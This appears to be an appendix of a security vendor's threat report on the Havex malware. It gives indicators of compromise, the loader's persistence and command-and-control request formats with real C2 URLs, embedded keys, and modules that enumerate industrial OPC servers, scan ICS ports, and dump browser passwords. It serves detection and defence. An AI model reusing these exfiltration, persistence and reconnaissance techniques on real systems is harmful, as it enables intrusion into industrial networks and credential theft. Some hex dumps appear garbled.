Contents

I. Appendix 1: Indicators of compromise .............................................................. 3
II. Appendix 2: Havex loader – detailed analysis .................................................. 5
III. Appendix 3: The Sysmain backdoor – detailed analysis .................................. 47
IV. Appendix 4: Ddex loader – detailed analysis .................................................... 54
V. Appendix 5: The ClientX backdoor – detailed analysis .................................... 57
VI. Appendix 6: Karagany backdoor – detailed analysis ........................................ 65
VII. Appendix 7: C&C Analysis .............................................................................. 71
VIII. Appendix 8: Victim identification ................................................................. 73
IX. Appendix 9: Hashes ......................................................................................... 81
X. Appendix 10: Delivery methods – detailed analysis ........................................ 86
   10.1. Hijacked installers of legitimate software .................................................. 86
   10.2. Exploitation ............................................................................................... 90
   10.3. Obvious Metasploit Rips ......................................................................... 102
   10.4. Changing Lights Out exploit sites’ download flow .................................. 104
   10.5. Related Targeted Software and CVE Entries ........................................... 105
XI. Appendix 11: Malicious Domains and Redirectors .......................................... 108
XII. Appendix 12: Previous and parallel research ................................................ 115
I. Appendix 1: Indicators of compromise

Files:

%SYSTEM%\TMPprovider0XX.dll
%SYSTEM%\svcprocess0XX.dll
%SYSTEM%\Phalanx-3d.Agent.dll
%SYSTEM%\Phalanx-3d.ServerAgent.dll
%COMMON_APPDATA%\TMPprovider0XX.dll
%COMMON_APPDATA%\Phalanx-3d.Agent.dll
%COMMON_APPDATA%\Phalanx-3d.ServerAgent.dll
%APPDATA%\TMPprovider0XX.dll
%APPDATA%\Phalanx-3d.Agent.dll
%APPDATA%\Phalanx-3d.ServerAgent.dll
%APPDATA%\sydmain.dll
%TEMP%\TMPprovider0XX.dll
%TEMP%\Phalanx-3d.Agent.dll
%TEMP%\Phalanx-3d.ServerAgent.dll
%TEMP%\arvsce32.dll
%TEMP%\-tmpnet.dll
%TEMP%\tmp687.dll
%TEMP%\*.xmd
%TEMP%\*.yls
%TEMP%\qln.dbx
%TEMP%\Low\ddex.exe
%TEMP%\Low\-tmpppnet.dll
%TEMP%\Low\-ntp.tmp
%TEMP%\Low\-task.tmp
%TEMP%\Low\-ldXXXX.TMP
%TEMP%\bp.exe
%TEMP%\-tmp1237.txt
C:\ProgramData\%
C:\ProgramData\Cap\%
C:\ProgramData\Mail\%
C:\ProgramData\Mail\MailAg\%
C:\ProgramData\Cap\Cap.exe
C:\ProgramData\Mail\MailAg\scs.jpg
C:\ProgramData\Mail\MailAg\scs.txt

Registry values:

HKLM\Software\Microsoft\Windows\CurrentVersion\Run@TMP provider
HKCU\Software\Microsoft\Windows\CurrentVersion\Run@TMP provider
HKLM\Software\Microsoft\Internet Explorer\InternetRegistry\fertger
HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\fertger
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows@
Load=“%TEMP%\Low\ddex.exe”
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows@
Load=“%TEMP%\Low\ddex.exe”
HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@ID
HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@prv
HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@pubm
HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\InternetReg@g
HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@nN (where N:=[0,x])
HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@pn (where N:=[0,x])
HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\SNLD@sn (where N:=[0,x])

Mutexes:

(6757)
'HKCU/Identities/Default User ID'+‘-18890’ example: {8B01CFB5-FF66-4404-89E2-27E06475EA38}-18890)
(AD-18890)
'HKCU/Identities/Default User ID'+‘-01890’ example: {8B01CFB5-FF66-4404-89E2-27E06475EA38}-01890)
(ED-01890)

Named pipes:

\\.\pipe\mypype-f0XX
\\.\pipe\mypype-g0XX
\\.\pipe\mypipe-h0XX
II. Appendix 2:
Havex loader – detailed analysis

2.1. Detailed analysis of the HAVEX loader sample (version 038)

File metadata and resources

- SHA-256: 401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67
- Size: 327168
- Compiled: Mon, 30 Dec 2013 12:53:48 UTC
- C2 urls: zhayvoronok.com/wp-includes/pomo/idx.php
dreamsblock.com/witadmin/modules/source.php
stalprof.com.ua/includes/domit/src.php
- Resource: ICT 0x69, contains encrypted config:

```
12.MTMxMjMxMg==.5.havex.10800000.12.Explorer.EXE.0.3.40.zhayvoronok.com/
wp-includes/pomo/idx.php.43.dreamsblock.com/witadmin/modules/source.php.38.
stalprof.com.ua/includes/domit/src.php.354.AATXn+MiwlLu+xCoMG7SqY1uQxK1qLdyo
ED9LxIVqRsZ/gsrHIsqTvK9AudsFo+9..fzAxf1xj42880+kUmktmVb5HSYi8T7Q54eQ4ZLUFK
PKZstgHcwPVHGdwpmmRmk..09fL3KGd9Sr60Mv7QtJ4VwGDqrzOja+Ml4SI7e60C4qDQAAAAAA
AAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAA
```

Base64 encrypted string MTMxMjMxMg== (“1312312” after decoding) is used as a XOR key.
Code flow

DLLMain

- Decrypt and load resource, copy config data from resource to memory
- Create main thread in suspended mode and thread that constantly checks some bool - if it's set, main thread is resumed
- When the RunDllEntry export is called, the bool is set to 1 and the main thread is resumed

RunDllEntry

- Create a window and trigger resuming of the main thread
- Create file and writes there the version number:
  
  %TEMP%\qln.dbx

- Create keys/values:

  [HKLM|HKCU]\Software\Microsoft\Internet Explorer\InternetRegistry]

  fertger = (bot_id)

  bot_id = random number based on CoCreateGuid(), some calculations and some memory address; examples:

  
  001: 4288595270379021982301EAFED001
  002: 1607204568126732018801F2FED002
  00F: 93249038331471783200C2FED00F
  012: 22561320586441617865023EFED0
  013: 2627437901628051734800C2FED0
  014: 1578266759509151668900DEFED0
  017: 251262960942470194870241FED0
  018: 1564893130116282046100B9FED0
  019: 1578266759509151668900DEFED0
  01A: 160720456812673201880242FED001
  01B: 1607204568126732018800C2FED001
  01C: 24893503947647170630246FED0
  01D: 2627437901628051734800C2FED0
  01B: 1663328815238791903001EBFED0
  029: 184267353224541887800BEFD88-3x1
  030: 3789716004501911680200BEFD88-3x1
030: 309276719429789193750028F978-3x1
037: 24645644821769317791009AFD80-20
037: 30816051733388016549009AFD80-1
037: 6036449321755718127009AFD80-13
038: 301542815316517628009AFD80-25
038: 312612706597571760009AFD80-25
038: 28805135293025919409009AFDA8-25
043: 1814585123228417441009AFD80-c8a7af41964051661c342b13efab
044: 2922192159609202240009AFD80-6d3aeef9f2cf3ca9273631663f484a
044: 28603975198701700109AFD80-4b3c3453bdebb602642d18274c239

- Copy self to %SYSTEM%\TMPprovider038.dll
  in case of failure, it tries to write to %APPDATA% or %TEMP%
- Create run entry:
  [HKLM|HKCU]\Software\Microsoft\Windows\CurrentVersion\Run
  TMP provider = “rundll32 <path>\TMPprovider038.dll, RunDllEntry”
- Create named pipe:
  \\.pipe\mypipec-h038
- In loop, create remote thread of explorer.exe which does:
  LoadLibrary(<path>\TMPprovider038.dll)
- Look for all %TEMP%\*.xmd files, read their paths and the contents
- Get the base64 encrypted key from config and decode it
- Get the content of *.xmd file and decode (base64), decrypt (using keys from config and binary)
  and decompress (bzip2), once decrypted and decompressed, the content of each *.xmd file is
  saved as DLL and loaded to the memory
- Check for some base64 encoded data string in:
  [HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\Options]
  b = <data>
- Find *.yls file, read content and (optionally) add it to the POST request
- Create POST request string:
  id=<victim_id>&v1=<bot_version>&v2=<os_ver>&q=<number_from_config>

  Example:
  id=28805135293025919409009AFDA8-25&v1=038&v2=170393861&q=5265882854508ECF958F979E4

- Try to connect to compromised websites (C2 servers) and send POST request with the following
  parameters:
  id=<victim_id>&v1=<bot_version>&v2=<os_ver>&q=<sth_from_config>

  Example request:
dreamsblock.com (ekiaokqmo.c08.mtsvc.net, 205.186.179.176)
POST /witadmin/modules/source.php?id=288051352930259194090909AFDA8-25&v1=038&v2=17039 3861&q=5265882854508EFCF958F979E4

- Read the HTML file returned by the server, look for havex markers and copy data from between them
- Write the data to: %TEMP%\<rand>.tmp.xmd
- Decrypt/decompress content of xmd file to %TEMP%\<rand>.dll
- Load the DLL

At the moment of analysis, URLs from config were not returning any data:

- stalprof.com.ua/includes/domit/src.php (server39.hosting.reg.ru, 37.140.193.27)
  404
- zhayvoronok.com/wp-includes/pomo/idx.php (78.63.99.143)
  404
- dreamsblock.com/witadmin/modules/source.php

<html><head><mega http-equiv='CACHE-CONTROL' content='NO-CACHE'>
</head><body>No data!<!--havexhavex--></body></head>0.

Encryption

The 2nd stage modules are usually base64 encoded, bzip2 compressed and XORed using the recurrent “1312312” key.
In some cases, the malware can also use one 1024 bit RSA key which is embedded in the config section of the binary.

Key from resource/config:

Base64 encoded:
AATXn+MiwLu+xCoMG7SqY1uQxAk1qLdyoED9LxIVQr2Z/gsrHIsgTvK9AudFo+9fzAxf1zXj42880+kUmktmVb 5HSyi8T27Q54eQ4ZLUFKPKZstgHcwPVHGdwpmmRmk09fL3KGd9SqR60Mv7QtJ4VwGDqrz0ja+M14S17e60C4qDQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAB
Decoded RSA 1024 bit key:

```
0000000: 0004 d79f e322 c0bb bec4 2a0c 1bb4 aa63 ....."....*....c
0000010: 5b90 c409 35a8 b772 a040 fd2f 1215 42bd [...5..r.@../.B.
0000020: 9fe 0b2b 1c8b 204e f2bd 02eb 1d16 8fbd ...+. N.........
0000030: 7f30 317f 5cd7 8f8d bcf3 4fa4 5269 2d99 .01.
0000040: 56f9 1d26 22f1 3dbb 439e 1e43 864b 5052 V..".=.C.C.KPR
0000050: 8f29 9b2d 8077 303d 5ic6 770a 6699 19a4 .)-w0=Q.w.f...
0000060: d37 cbdc a19d f52a 91eb 432f ed0b 49e1 .......*..C../.I.
0000070: 5c06 0eaa f33a 36be 325e 1223 b7ba d02e \\....:6.2^..#
0000080: 2a0d
```

**Key hardcoded in binary:**

**Base64 encoded:**

```
w1RWs6ejexm8wqEpuIkkESs9xmLQoiY8j/ldzNJ/fPj9t+taxYg6Vo0WgP0u0Me82TuCMxmU+Pcj44c8zP5xOe
```

**Decoded:**

```
00000000: c354 56b3 a7a3 7b19 bcc2 0a84 a6e9 6490 .TV...(.....d.
0000010: 44ac f719 8b42 8898 f23f e577 3349 fdf3 D....B...?.w3I..
0000020: e3f6 dfad 6b16 20e9 5a34 5a03 f4bb 431e ....k. .24Z...C.
0000030: f364 ee08 cc66 53e3 dc8f 8e1c f333 f9c4 .d...fS.....3.
0000040: e7af e05d 3dee be7e b1a4 6eb7 18f8 2e69 ...]=~..~n.....i
0000050: ebd8 0220 0ea7 ccd7 81bd 1c14 3199 1437 ... .......1..7
0000060: bf44 b0cf a03e e736 8c22 a417 ff5d dd58 .D...>.6"....]X
0000070: 5d6c 790b 4aca cbcf 4262 283e 3bf2 eb8f ]ly.J...Bb>;
```
Analysis of other versions of the HAVEX loader

IMPORTANT:  For versions 03-0E, 010, 011, 015, 016, 023, 026-028, 02A-02F, and 031-036 no samples are known at the moment.

Differences between versions

It seems there are over 50 different versions of Havex malware, internally identified by hex numbers from 01 to 044 (the latest known at the time of writing).

Versions 01 – 019: Contain strings that may be related to password harvesting, even though the code that would actually search for the passwords was not identified inside this component. It's possible that these strings are part of the configuration and are used by downloaded modules as a list of names of processes that the malware wants to hijack in order to steal passwords from the memory.

Versions 017 – 037: Instead of the GET request, send a POST request to the C2. The contents of the POST differ between versions.

Versions 01A – 038: Check proxy settings in the registry and use them if required.

Versions 01B – 044: Use an asymmetric crypto algorithm (RSA) to decrypt the downloaded binaries. (Previous versions use simple XOR based encryption).

Versions 020 – 025: Check the Internet connection by trying to connect to google.com:

CONNECT google.com:80 HTTP/1.0

Collect system information, write it to *.yls file. Later, append these contents to the POST request string.

• Collected information includes:
  • Unique system ID
  • OS
  • Username
  • Computer name
  • Country
  • Language
  • Current IP
  • List of drives
  • Default Browser
• Running Processes
• Proxy Setting
• User Agent
• Email Name
• BIOS version and date
• Lists of files and folders (non-recursive) from the following paths:
  - C:\Documents and Settings\%User%\Desktop\*.*
  - C:\Documents and Settings\%User%\My Documents\*.*
  - C:\Documents and Settings\%User%\My Documents\Downloads\*.*
  - C:\Documents and Settings\%User%\My Documents\My Music\*.*
  - C:\Documents and Settings\%User%\My Documents\My Pictures\*.*
  - C:\Program Files\*.*
  - Root directory of all fixed and removable drives.

**Version 025:** Contains a debugging symbols path, which may suggest that the project was internally called “PhalangX”:
d:\Workspace\PhalangX 3D\Src\Build\Release\Phalanx-3d.ServerAgent.pdb

**Version 038 – 040:** Does not contain the routine that collects system info, yet the malware checks for potential previously created *.yls files, and appends the content of them to the POST request. Instead of values hardcoded in the binary, this is a first version to use a resource to store encrypted config. Detailed analysis of this version is included in this appendix.

**Version 043 – 044:** Size similar to 037 and earlier versions; dll name is now 0XX.dll (where XX is version number), the <unk> value in config is now 29 bytes long.

Features common across multiple versions

**EXPORTS:**
RunDllEntry, runDll *(all versions)*

**INJECT TO:**
Explorer.EXE *(all versions)*

**REG VALUES CREATED:**

[HKL|HKCU]\Software\Microsoft\Windows\CurrentVersion\Run
“TMP provider” = “rundll32 %TEMP%\TMPprovider0XX.dll, runDll”

[HKL|HKCU]\Software\Microsoft\Internet Explorer\InternetRegistry
“fertger” = <id> *(all versions)*
FILES CREATED:
<path>\TMP\provider0XX.dll (versions <= 040)
%TEMP%\*.xmd (all versions)
%TEMP%\*.yls (ver 01A - 044)
%TEMP%\qln.dbx (ver 038 - 044)

PIPS:
\\.\pipe\mypipe-f0XX (ver 01 - 025)
\\.\pipe\mypipe-g0X (ver 01 & 02)
\\.\pipe\mypipe-f0XX (ver 029 - 038)
\\.\pipe\mypipe-h0XX (ver 029 - 038)

STRINGS:
(all versions)
g=
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)
AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.36
Safari/525.19"
(ver 01 - 030)
havex
1312312
(ver 0F, 012, 014, 018)
Phalanx-3d.Agent.dll
(ver 01A - 038)
User
Password
BUTTON
(ver 01B - 030)
AATXn+MiwLu+xCoMG7SgY1uQxAk1qLdyoED9LxIVQr2Z/gsrHIsgLtvK9AudsFo+9fzAxf1zXj42880+kUmktmVb
5HSYi8T27Q54eQ4ZUFPKZstgHcwPVHgdwpmRmk09fL3KGd9Sqr60Mv7QtJ4VwGDqrzOja+M14Si7e60CqDQ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQA
AB
(ver 029 - 038)
w1Rws6ejxem8wqgEpulkkESs9xmLQoIY8j/ldzNJ/fPj9t+taxYg6V00WqP0u0Me82TuCMxmU+Pcj44c8z5x0e
v4F097r5+saRutxj/Lmnr2AIgDqfM14GNHQBxmRQ3v0Swz6A+5zaMiqQX/13dWF1seQtKysvFQmIoPjvy648=
(ver 020 - 025)
2003
Vista
UserName
ComputerName
Control Panel\International\sCountry
Country
sLanguage
Language
Control Panel\International\Geo
Nation
Not connected
Dial-up
LAN Connection
InetInfo
CurrentIP
  - Removable
  - Fixed
  - Remote
  - CDROM
  - Ramdisk
Drive
http\shell\open\command
.exe
DefaultBrowser
ListProcess
data64
HARDWARE\DESCRIPTION\System
BiosReg
Desktop
MyDocs
ProgFiles
CONNECT google.com:80 HTTP/1.0
Proxy-Authorization:Basic
google.com
GET / HTTP/1.1
Host: google.com

(ver 025)
Phalanx-3d.ServerAgent.dll
d:\Workspace\PhalangX 3D\Src\Build\Release\Phalanx-3d.ServerAgent.pdb"

(ver 029 & 030)
5265882854508EFCF958F979E4

(ver 024, 029 - 038)
&v1=
C2 communication

Versions < 01B:

GET request format:  \[id=<\text{victim\_id}><\text{bot\_version}>-<\text{os\_ver}>\]
Example:  \[id=1812102418169072044901A0FED0014-170393861\]

Versions 01B - 025:

GET request format:  \[id=<\text{victim\_id}>-<\text{unk}>-<\text{bot\_version}>-<\text{os\_ver}>\]
Example:  \[id=228711719898841835201A0FDC0-3-021-170393861\]

Versions 029 - 044:

POST request format:  \[id=<\text{victim\_id}>-<\text{unk}>&v1=<\text{bot\_version}>&v2=<\text{os\_ver}>&q=<\text{number\_from\_config}>\text{<optional: content\_of\_yls\_file>}\]
Examples:  \[id=28805135293025919409009AFDA8-25&v1=038&v2=170393861&q=5265882854508EFCF958F979E4\]
\[id=21893020302943319666009AFD80-6d3aef9f2cf3ca9273631663f484a&v1=044&v2=170393861&q=35a37eab60b51a9ce61411a760075\]

Examples of <unk> values:

<table>
<thead>
<tr>
<th>Version</th>
<th>&lt;unk&gt;</th>
</tr>
</thead>
<tbody>
<tr>
<td>01B</td>
<td>1</td>
</tr>
<tr>
<td>01C</td>
<td>2</td>
</tr>
<tr>
<td>01D</td>
<td>1, 2</td>
</tr>
<tr>
<td>01E</td>
<td>3</td>
</tr>
<tr>
<td>01F</td>
<td>1, 2, 3, 0</td>
</tr>
<tr>
<td>020</td>
<td>3, &lt;null&gt;, 0</td>
</tr>
<tr>
<td>021</td>
<td>3, &lt;null&gt;</td>
</tr>
<tr>
<td>022</td>
<td>3, &lt;null&gt;, 12</td>
</tr>
<tr>
<td>024</td>
<td>13, 16, 1, 31, 61, 3, 3x1, 4, 12</td>
</tr>
<tr>
<td>025</td>
<td>x1, &lt;null&gt;</td>
</tr>
</tbody>
</table>
### Downloadable modules

Main characteristics:

- DLL files that collect assorted information
- Downloaded by the main Havex module
- Stored in `%TEMP\*xmd` files in an encrypted form
- Decrypted and executed by Havex loader
- Each module contains config stored as a resource
- Config data is compressed with bzip2 and xored with a constant value 1312312, which is hardcoded in the binary in base64 form
- Config data includes 29-byte UID, 344-byte encryption key and sometimes some other info (like nk2 file path in case of outlook module)
- Most of them write harvested data into the `%TEMP\*.yls` files, which are then sent to the C2 by the main Havex DLL
- Data written to `*.yls` files is compressed with bzip2 and encrypted with the key from the config
- Encryption used for log encryption is 3DES. Each analyzed module contains the string:
  
  “Copyright (c) J.S.A.Kapp 1994 – 1996.”

  which is related to `R_STDLIB.C` file (platform-specific C library routines for RSAEURO crypto library)

### OPC modules

**SHA-256:** 7933809ae6b1a9d2110a6fd8a18009f2d9c58b3c7dbda770251096d4fccc18849

**Size:** 251392

**Compiled:** Fri, 11 Apr 2014 05:39:10 UTC

**SHA-256:** 004c99b6e0c355e1265b783a557c198b92e84ed4df70db927a726c842f3
Detailed analysis

All currently known samples are completely identical in terms of code and differ only in the content of the resource.

Code flow:

- Decrypt config
  Config consists of RSA ID (29 bytes) and RSA key (1024 bit) and is stored inside resource TYU0215 (bzip compressed and xored with “1312312”)

```
29
39ee448cf196304cfe9c6b1c2e436
344
AATFfxXmUZl/j8JBAwHkk8BcwTIKDcex+0GQp/V9EX4nt64NGsGtXFluurwjKCRt6Av3v+hB+gT9mAP9kqY3Tn1x+MUHaoibIwdw8SG9mW5YL+JNu3Kwud/bYGu916U/EGh8PFGrvVE2PHXD8EII710gKm00lyi5+Ehjn5CSLLPKwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQA
```

- Create lock file in %TEMP\{(rand).tmp (empty)
- Create debug log in %TEMP\{(rand).tmp.dat

Programm was started at %02i:%02i:%02i
%02i:%02i:%02i.%04i:
**************************************************************************
Start finging of LAN hosts...
Finding was fault. Unexpextive error
Was found %i hosts in LAN:
Hosts wasn’t found.
Start finging of OPC Servers...
Was found %i OPC Servers.
  %i) [<comp_name>\<ProgID>]}
CLSID: <server rclsid>
UserType: <UserType>
VerIndProgID: <VersionIndependentProgID>
OPC version support: <+|->[+|->][+|->]

OPC Servers not found. Program finished
Thread %02i return error code: <error_code>
Start finging of OPC Tags...
  %i)[%s\%s]
    Saved in ‘OPCServer%02i.txt’
  %i)[%s] (not aviable)
Thread %02i was terminated by ThreadManager(2)
Thread %02i running...
Thread %02i finished.

- Look for LAN resources using Windows Networking COM objects:

  WNetOpenEnumW
  WNetEnumResource

- For each resource found, create a thread which checks if it’s an OPC server & gets detailed OPC
  information using the following interfaces:

    IID_IOPCEnumGUID {55C382C8-21C7-4E88-96C1-BECFB1E3F483}
    IID_IOPCServerList {13486D51-4821-11D2-A494-3CB306C10000}
    IID_IOPCServerList2 {9DD0B56C-AD9E-11D2-A494-3CB306C10000}
    IID_IOPCServer {39C13A4D-011E-11D0-9675-0020AFD8ADB3}
    IID_IOPCBrowse {39227004-A18F-4B57-8B0A-5235670F4468}
    IID_IOPCBrowseServerAddressSpace {39C13A4F-011E-11D0-9675-0020AFD8ADB3}
    IID_IOPCItemProperties {39C13A4A-011E-11D0-9675-0020AFD8ADB3}
    CATID_OPCDAServer10 {63D5F430-CFE4-11D1-B2C8-00608083BA1FB}
    CATID_OPCDAServer20 {63D5F432-CFE4-11D1-B2C8-00608083BA1FB}
    CATID_OPCDAServer30 {CC603642-66D7-48F1-B69A-B625E73652D7}

and writes collected info to the OPCServer<nr>.txt file:

  %s <%s> (Type=%i, Access=%i, ID='%s')
  OPC Server[%s\%s] v%i.%i(b%i)
  Server state: %i
  Group count value: %i
  Server band width: %08x
• Compress all info with bzip2 and encrypt using a random 192 bit (168 effective) 3DES key
• Save encrypted data to %TEMP%\{rand}.yls file
• *.yls files are then collected by the main Havex module and sent to C2.

Outlook module

SHA-256: 0859cb511a12f285063ffa8cb2a5f9b0b3c6364f8192589a7247533fda7a878e
Size: 261120

This module looks for outlook.nk2 files, gets the contact data from inside them and writes it to the *.yls file. Data is as always bzip2 compressed and 3DES encrypted. Config is stored in the resource HYT 017D (bzip2 compressed and encrypted with same xor key as always). Config consists of an RSA key ID (29 bytes), base 64 bit encoded RSA key (1024 bit) and nk2 file path (39 bytes).

outlook.nk2 is the file where Outlook <= 2007 stores contacts details in order to use them in its AutoComplete feature.

Config from resource HYT 017D:

```
29
3e5bad153e3c3ee1b735f1926ba57
344
AATiBnMKBUxUwXUCXp4+ztY4nCTylL6KRsk6x44SgKDDNdQ9VB7UC86fQVLZOjpc2bdgFxi5tegJEE3sfZvYJ1FQ0s1zXh4xdQxxyEql1gGdaAcEOoM3dXCKQatFFYQ8pschFkdLDrt/sWnbUTq2/KY8eCfW2QPhWgj7p8v6Cov1Q
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAB
39
%APPDATA%\microsoft\outlook\outlook.nk2
```

Sysinfo module

SHA-256: f4bfc326d32ce9be509325947c7eaa4fb90a5f81b5abd7c1c76aabb1b48be22
Size: 400896
Compiled: Wed, 07 May 2014 13:19:41 UTC

This module collects the same type of information about the system as Havex versions 020 - 025. This functionality is not present in versions >=026 - it was probably moved into this separate module around that time.
Config in stored in resource WRT 2AF (xored with “1312312” and bzip2 compressed)

8900adfffc5180c10d463530e3753a
344
AA8j18ZrvtbiXSIJgu6x1ZFj32Q9iyj+cQZpJgp/H+GhpDItv10pBcgw1kc2uO2iYSJxqfZAlS2fs9+W9yLXq/7lLuVEeQC4vgn8EsTmzji4vLWv/oZOOJHrrv37YK XO6QGnFgREyLTJnfnrTaoWg9pd6dkeC4yHEC7K8HQ
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAB

Network scanner module

SHA-256: 2120c3a30870921ab5e03146a1a1a865dd24a2b5e6f0138bf9f2ebf02d490850
Size: 223232
Compiled: Tue, 29 Oct 2013 06:09:14 UTC

This module is used to decrypt and execute the binary that comes in the resource. The EXE file is saved in %TEMP%\<rand>.exe and run using ShellExecuteExW.

Besides the binary, resource HAJ 3A0 contains hex string: 30 0A 30 0A 34 38 36 40

3rd stage tool: network scanner

SHA-256: 9a2a8cb8a0f4c29a7c2c63ee58e55aad30a3895382abe7470de4822a4d868ee6
Size: 48640
Compiled: Wed, 06 Nov 2013 11:27:38 UTC

This PE EXE file was dropped and run by EXE dropper module (2120c3a30870921ab5e0314 6a1a1a865dd24a2b5e6f0138bf9f2ebf02d490850). Its main functionality is to scan the local network looking for machines listening on specified ports. All information is logged into a %TEMP%\~tracedscn.ys file in plain text.

- List of port numbers hardcoded in the binary:

```
.data:0040CDB0 port_list
    dd 0AF12h ; port 44818, used by Rslinx
    dd 1F6h ; port 502, used by Modbus / Modicon PLC
    dd 66h ; port 102, used by Siemens PLC
    dd 2BE2h ; port 11234, used by Measuresoft ScadaPro
```
dd 3071h ; port 12401, used by 7-Technologies IGSS SCADA

- Example content of log file:

```plaintext
[!]Start
[+]Get WSADATA
[+]Local: 192.168.56.11
No available ports Host: 192.168.56.1
No available ports Host: 192.168.56.51
No available ports Host: 192.168.56.151
No available ports Host: 192.168.56.201
No available ports Host: 192.168.56.101
No available ports Host: 192.168.56.2
No available ports Host: 192.168.56.152
No available ports Host: 192.168.56.52
(...)
```

- Error related strings:

```plaintext
[-]Can not get local ip
[-]Threads number > Hosts number
[-]Can not create socket:
[-]Connection error
[!]End
```

PSW dropper module

SHA-256: 71e05babc107f5e52f1a4c3ea6261c472d2649c0b179395304c420eaa54e2062
size: 1427968
compiled: Mon, 09 Jul 2012 07:38:11 UTC

This module is used to decompress (bzip2) and drop a password dumping tool from resource DLL1 A8 409 to %TEMP%\bp.exe and run it with the following command:

```plaintext
%TEMP%\bp.exe %TEMP%\~tmp1237.txt
```

Saved log is then copied to %TEMP%\<rand>.tmp.yls file.

3rd stage tool: password stealer

SHA-256: cb5341eac0476a4c2b64a5fe6b8eb8c5b01b4de747524208c303aba6825aef1d
size: 2988544
This file was dropped and executed by the PSW dropper module (71e05bab107f5e52f1a4c3ea6261c472d2649c0b179395304c420eaa54e2062).
This is a customized (?) version of BrowserPasswordDecryptor 2.0 - a free password recovery tool, developed by SecurityXploded:

hxpp://securityxploded.com/browser-password-decryptor.php

Description from the developers’ website:

Browser Password Decryptor is the FREE software to instantly recover website login passwords stored by popular web browsers.

Currently it can recover saved login passwords from following browsers:
- Firefox
- Internet Explorer
- Google Chrome
- Google Chrome Canary/SXS
- CoolNovo Browser
- Opera Browser
- Apple Safari
- Comodo Dragon Browser
- SeaMonkey Browser
- SRWare Iron Browser
- Flock Browser

Features:

- Instantly decrypt and recover stored encrypted passwords from popular web browsers.
- Right Click Context Menu to quickly copy the password
- Recover password of any length and complexity.
- Automatically discovers all supported Applications and recovers all the stored passwords.
- Sort feature to arrange the recovered passwords in various order to make it easier to search through 100’s of entries.
- Save the recovered password list to HTML/XML/Text/CSV file
- Easier and faster to use with its enhanced user friendly GUI interface.
- Support for local Installation and uninstallation of the software.

Example of file content:
***************
Browser Password Recovery Report
***************

Password List
*****************************************

Browser: Firefox
Website URL: https://accounts.google.com
User Login: mygmail
Password: gmailpassword

---

Browser: Firefox
Website URL: https://www.facebook.com
User Login: myfacebook@example.com
Password: ihatefacebooksomuch

---

Browser: Opera
Website URL: https://twitter.com
User Login: mytwitter321
Password: mypassword123

---

Browser: Opera
Website URL: https://login.yahoo.com
User Login: yahaccount
Password: yahpwd

---

Produced by BrowserPasswordDecryptor from http://securityxploded.com/browser-password-decryptor.php

Log Encryption In Modules

Each module is capable of creating a log file (.yls) which is encrypted and stored on disk. The encryption library used by the modules (as well as the most recent versions of Havex) is handled by
the RSAeuro library. They recompiled the library several times using different compiler settings and optimization (depending of modules/Havex) which makes fingerprinting the functions a bit tedious.

Once the log has been compressed using bzip2, the modules use the library to generate a random 192 bit 3DES key (168 bit effective) and a 64 bit Initialization Vector. The function used to do so is R_GenerateBytes which is using the MD5 algorithm previously seeded by the R_RandomCreate function (Also using MD5):

```
lea    eax, [ebp+_3DES_random_key]
mov    edi, ecx
push   24          ; 24 random bytes (192 bit)
push   eax
mov    [ebp+var_34], edi
mov    dword ptr [esi], 3
call   _R_GenerateBytes ; Generate Random 3DES KEY
pop    ecx
pop    ecx
mov    [ebp+var_28], eax
test   eax, eax
jnz    short loc_1001089F
push   8
push   [ebp+IV]
call   _R_GenerateBytes ; Generate Random Initialization vector (8 byte - 64 bit)
```

Once the key and the IV have been generated, the 3DES algorithm is initialized:

```
_DES3_CBCInit     proc near        ;
arg_0             = dword ptr 4

mov    ecx, [esp+arg_0]
push   esi
mov    esi, eax
lea    eax, [esi+180h]
mov    dword ptr [esi+19p]
call   _scrunch
mov    ecx, [esp+4+arg_0]
lea    eax, [esi+188h]
call   _scrunch
push   1
push   edi
push   esi
call   _deskey
push   0
lea    eax, [edi+8]
push   eax
lea    eax, [esi+80h]
push   eax
call   _deskey
```

TLP: Green
For any inquire please contact intelreports@kaspersky.com
